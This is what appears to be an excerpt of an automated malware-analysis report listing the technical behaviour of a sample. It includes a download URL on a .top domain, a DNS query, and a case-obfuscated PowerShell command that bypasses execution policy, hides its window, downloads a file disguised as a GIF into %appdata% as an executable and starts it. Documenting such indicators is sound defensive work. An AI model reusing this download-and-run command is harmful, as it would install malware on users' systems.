Technical Information
- http://www.basopoew.top/read.php?f=1.gif as %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "pOwershell.exE -execUTiOnPOLiCY ByPaSs -nOpRofiLE -wiNdowsTyLe HIddEN (NeW-objEct sYsteM.nEt.WebClieNT).DOwnlOadFiLE('http://www.basopoew.top/read.php?f=1.gif','%apPdAta%.EXE');STarT-...
- DNS ASK ba###oew.top
- '<SYSTEM32>\cmd.exe' /C "pOwershell.exE -execUTiOnPOLiCY ByPaSs -nOpRofiLE -wiNdowsTyLe HIddEN (NeW-objEct sYsteM.nEt.WebClieNT).DOwnlOadFiLE('http://www.basopoew.top/read.php?f=1.gif','%apPdAta%.EXE');STarT-...' (with hidden window)